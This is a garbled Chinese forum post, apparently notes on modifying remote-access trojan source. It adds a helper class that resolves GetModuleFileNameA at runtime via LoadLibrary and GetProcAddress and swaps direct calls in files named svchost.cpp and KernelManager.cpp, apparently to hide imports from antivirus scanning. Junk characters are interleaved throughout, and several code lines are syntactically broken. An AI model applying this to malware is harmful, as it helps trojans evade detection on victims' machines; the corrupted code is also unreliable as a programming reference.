[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
$ q& D$ t9 K8 m& p! ~, ]& Rsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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. e" l# j; \) P" p1 A5 x. E! O) WDTDY.h：
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. ^& [( K* U7 l$ e3 A#if _MSC_VER>1000- n; ]3 w9 A. w* g& s, G3 g! {/ K5 q. {6 T
#pragma once% H$ W8 ~5 ?$ E$ B8 A
#endif //_MSC_VER>10006 a* O7 I  m" I
#include<windows.h>
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);: h* s+ X. V. r5 w6 _# i
class DTDY
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public:
( V" g8 s! G$ B5 A6 Q  l5 WDTDY();% R  W0 }2 v* ~1 f( n; E. V
virtual ~DTDY();$ M9 V6 b( }* ~8 V6 z
public:
* a! {" V, u4 cstatic pGetModuleFileNameA MyGetModuleFileName;
2 M, {" m" }% m, xstatic BOOL FunInitiallization();; S8 i2 [6 c. o, j
};
( U# U7 b- w& G# C1 n6 w2 y#endif
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! O( n7 f& E7 z( _" GDTDY.cpp:0 O! X. z- i# z, |

/ ]$ ?0 [3 \1 v#include "DTDY.h"! h/ v. Q( j6 I( `
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;4 r$ Q+ }, p7 F! V1 z
DTDY:TDY()' x/ ~9 l% o. P8 i! A0 y. o
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}
2 k) e' g% z& {1 E( IDTDY::~DTDY()  v* R0 k+ U# K  h4 M7 C! Q% Z" a
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BOOL DTDY::FunInitiallization(); S& v0 `! E  L, r9 Q
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HMODULE hModule=LoadLibrary("kernel32.dll");7 D  @5 y" E' F2 y# X& [
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
, I; \/ n% n$ m: d7 Kif(!MyGetModuleFileName=) return FALSE;* Z2 u' r( s8 v5 T0 w

9 S4 i! ]7 _' k" f  {. vreturn TRUE;2 n' K1 M! u9 f' i! ~
}; ^; q! V& Y) k( B1 L% _& ^
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svchost.cpp:
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: ~; t* Z+ I/ R. Q# z#include "DTDY.h"
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8 R  J# ~5 V" F0 @) a8 V2 X- JBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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  |8 |8 |6 n7 q; \! Nswitch(ul_reason_for_call)
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" ]0 v: B7 S) N& c, Z* Mcase DLL_PROCESS_ATTACH:% k: Z/ R( d# f7 f! ^
if(!DTDY::FunInitiallization()) return FALSE;$ S9 ~  e( T( Z5 Z5 Y
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break;5 k) t# o% x* G5 g
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0 E. a  N6 ^' y0 l+ s, I; WGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
7 A0 V' U' @2 a& {1 r改写为) ?' b+ Q6 h  t* P. }% J0 C. j
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));. S5 ^! ^) V' i% B& G% n
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% x/ i2 R8 c6 O7 jKernelManager.cpp:7 m/ c$ Z$ w6 Y
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#include "../DTDY.h"
+ X% |, Y( }$ oGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));- a( B1 d6 @$ V& j
改写为" m, v9 L( U  p6 Z: u5 V
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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